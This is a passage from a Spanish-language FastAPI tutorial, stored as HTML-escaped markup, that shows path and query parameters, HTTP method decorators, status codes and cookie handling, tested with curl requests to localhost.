ejecutar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;main&lt;/em&gt; se refiere al nombre de nuestro archivo&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;app&lt;/em&gt; es la instancia de FastAPI que creamos&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;--reload&lt;/em&gt; le dice a uvicorn que escuche cambios en el código&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INFO:     Uvicorn running on http://127.0.0.1:8000 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;Press CTRL+C to quit&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes ver, si todo salió bien, tendremos un servidor corriendo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y, si realizamos una petición al puerto 8000, obtendremos nuestra respuesta en formato JSON, &lt;strong&gt;sin necesidad de haberla convertido desde un diccionario Python.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;capturar-parametros-en-una-url-con-fast-api&#34;&gt;Capturar parámetros en una URL con Fast API&lt;/h2&gt;&#xA;&lt;p&gt;Ahora pasemos de rutas estáticas a rutas con parámetros.&lt;/p&gt;&#xA;&lt;p&gt;Para capturar parámetros agregaremos estas lineas al archivo &lt;em&gt;main.py&lt;/em&gt; que ya tenemos. Importamos el tipado &lt;em&gt;Optional&lt;/em&gt; con la intención de capturar nuestros parámetros opcionales. Para este ejemplo voy a usar el tipado que ofrecen las nuevas versiones de Python, nota como fijamos &lt;em&gt;item_id&lt;/em&gt;: &lt;em&gt;int&lt;/em&gt; para que acepte únicamente valores de tipo entero.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/items/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{item_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_item&lt;/span&gt;(item_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;, q: Optional[&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otra_funcion_para_item_id(item_id)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otra_function_para_q(q)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;: item_id, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;: q}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro del decorador colocamos entre corchetes el nombre de la variable que queremos capturar. Esta variable se la pasaremos como parámetro a nuestra función&lt;/p&gt;&#xA;&lt;p&gt;Como segundo parámetro, opcional, esperaremos un parámetro GET, de nombre &amp;ldquo;q&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;En este caso, lo único que hará nuestra función es devolver ambos valores en formato JSON. Aunque, seguramente ya te diste cuenta cuenta de que, en lugar de simplemente devolverlos, puedes usar esos datos para buscar en una base de datos, ingresar esa información como parámetros a otra función y retornar otra cosa totalmente distinta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/42&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;:42,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;:null&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como no especificamos un parámetro GET opcional nos devuelve un &lt;em&gt;null&lt;/em&gt; en su lugar. Mira lo que sucede si intentamos enviar un valor inválido, es decir, que no sea un entero.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/texto -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;422&lt;/span&gt; Unprocessable Entity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:13:38 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;104&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;loc&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msg&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;value is not a valid integer&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type_error.integer&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;FastAPI se encarga de hacernos saber que el valor enviado es inválido mediante una respuesta HTTP 422. Ahora hagamos una petición que incluya valores correctos para ambos parámetros de nuestra funcion &lt;em&gt;read_item()&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/42?q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;larespuesta&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;:42,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;larespuesta&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como nos regresa el número que le pasemos, sea cual sea, así como nuestro parámetro GET opcional llamado &amp;ldquo;q&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;api-rest-con-fastapi&#34;&gt;API REST con FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;FastAPI se encarga de manejar los métodos HTTP de manera bastante intuitiva, simplemente cambiando la función de nuestro decorador por su respectivo método de petición HTTP&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.get&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.post&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.put&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además &lt;strong&gt;es posible especificar un código de respuesta&lt;/strong&gt; opcional como parámetro en cada una de estas rutas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.post&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;status_code&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;201&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para corroborarlo creemos otra función, esta en lugar de usar el decorador &lt;em&gt;@app.get&lt;/em&gt;, usará &lt;em&gt;@app.post&lt;/em&gt; y devolverá un código 201.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/items/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;post_item&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;our_item&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este decorador capturará cualquier petición POST a la url &lt;em&gt;/items/&lt;/em&gt;. Mira lo que sucede si intentamos hacer una petición GET, en lugar de una POST.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;405&lt;/span&gt; Method Not Allowed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:56:06 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Method Not Allowed&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Así es, cualquier otro método no soportado recibirá una respuesta 405 (Método no permitido). Ahora hagamos la petición correcta, con POST.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST localhost:8000/items/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt; Created&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:57:05 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;our_item&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa que recibimos un código 201 como respuesta, así como nuestra respuesta en formato JSON.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cookies-en-fastapi&#34;&gt;Cookies en FastAPI&lt;/h2&gt;&#xA;&lt;h3 id=&#34;lectura-de-cookies&#34;&gt;Lectura de cookies&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos leer cookies usando FastAPI tendremos que importar Cookie y luego definir un parámetro, que será una instancia de esa Cookie. Si todo sale bien podremos mandar una Cookie y FastAPI nos regresará su valor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/cookie/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_cookie&lt;/span&gt;(my_cookie &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Cookie(&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie&amp;#34;&lt;/span&gt;: my_cookie}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usemos curl para mandar una cookie y que la procese nuestra vista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --cookie &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie=home_made&amp;#34;&lt;/span&gt; localhost:8000/cookie/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;my_cookie&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home_made&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;colocar-cookies&#34;&gt;Colocar cookies&lt;/h3&gt;&#xA;&lt;p&gt;Para colocar cookies es necesario acceder al objeto de respuesta de nuestra petición HTTP, y además necesitamos especificar el tipado de este parámetro. Por favor recuerda importarlo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, FastAPI, Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span 